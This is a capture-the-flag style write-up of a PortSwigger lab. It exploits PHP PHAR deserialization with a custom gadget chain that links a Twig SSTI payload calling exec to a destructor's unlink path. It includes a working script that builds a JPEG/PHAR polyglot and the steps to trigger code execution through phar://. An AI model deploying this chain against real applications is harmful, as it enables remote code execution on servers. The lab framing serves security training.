> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/deserialization/phar-deserialization-with-custom-chain.md).

# PHAR Deserialization with Customized Chain

PHAR Deserialization with Customized Chain notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Using PHAR Deserialization to Deploy a Custom Gadget Chain

This lab does **not** perform explicit classic deserialization. The idea is to **provoke** deserialization by exploiting PHP's behavior with the wrapper **`phar://`**, in order to reach a **RCE** via a **custom gadget chain**, then delete:

* `/home/carlos/morale.txt`

Identifier provided:

* `wiener:peter`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174b5e43c23570cd3bc48e0f993e6911c8fbfec3%2Fimage%20(237).png?alt=media" alt=""><figcaption></figcaption></figure>

### (1) Application Side Marking

#### Avatar Upload

After authentication, you can **upload a file** via a POST query on the avatar feature.1) Application side marking

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37c34aa7724e2017d159af4659c6dc44714bf92c%2Fimage%20(238).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bf508699ec931fd017e6b0513539a673af9e3fd%2Fimage%20(239).png?alt=media" alt=""><figcaption></figcaption></figure>

When you click on the profile image, trigger the load via:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32b019e990e9903c7e1d97b074e076244f46f3dc%2Fimage%20(240).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Readable Files in `/cgi-bin/`

When visiting `/cgi-bin/`, several files are **readable** (useful to retrieve the code and build the string).

| Name                  | Size  |
| --------------------- | ----- |
| CustomTemplate.php    | 1091B |
| CustomTemplate.php/\~ | 0B    |
| Blog.php              | 628B  |
| Blog.php/\~           | 0B    |
| avatar.php            | 540B  |

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b91b222e99a8f8da5aade527e3e5bd546f58a86%2Fimage%20(241).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2) Source Code Recovered

#### `blog.php`

There is a `Blog` class that initializes Twig in `__wakeup()`:

* `__sleep()` serializes `user` and `desc`
* `__wakeup()` builds a `Twig_Environment` with a template based on `desc`
* `__toString()` renders `index` and injects `user`

Important point: `desc` directly becomes a **Twig template**, so it can be used to target **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

The `CustomTemplate` class contains:

* a private `$template_file_path` field
* a `__destruct()` destructor that makes:
* `@unlink($this->lockFilePath());`

`lockFilePath()` builds:

* `'templates/' . $this->template_file_path . '.lock'`

So if we control `template_file_path` with an object that converts to string, we can influence the path used by `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Charge Utile Twig (SSTI → Exec)

Payload Twig used:

Objective: to execute `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Operating Strategy: Polyglot PHAR

The challenge: the upload awaits a **image**. / Solution: Create a **polyglot** file:

* Valid as **JPEG**
* but containing a **PHAR** (tar/phar format) with **metadata** serialized

Why does it work?

* When PHP opens a resource via `phar://...`, it can trigger reading the PHAR manifest and **desertain metadata** (so run `__wakeup`, `__destruct`, etc. depending on the string).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// pop exploit class
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// config for gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // gif header, size 300 x 300
$tempname = 'temp.phar'; // make it phar
$outfile = 'out.gif';

// make gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Built Gadget Chain

Tu fabriques :

* a `Blog` object with:
* `user = "pwned"`
* `desc = <payload Twig SSTI>`
* then you put this object in `CustomTemplate->template_file_path`

Like that, when `CustomTemplate` is destroyed, `lockFilePath()` will concate a value from an object, which forces a conversion to string → calls `Blog::__toString()` → triggers `twig->render()` → interpret `desc` → executes the command.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcbf355533c83e1bf4176125a7996684bfec5081%2Fimage%20(242).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:5:"pwned";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";}}"
```

{% endcode %}

* Upload `out.jpg` as the avatar

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f03158efa02cc52d5afbb52dbf55151c4f18bd5e%2Fimage%20(243).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56bcacfe6c49d1680f52e5a1edb7b6984180642f%2Fimage%20(244).png?alt=media" alt=""><figcaption></figcaption></figure>

Resource call via `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

At that time, the application opens the resource with the PHAR wrapper, the metadata is deserialized, the string triggers, and the file:

* `/home/carlos/morale.txt`


---

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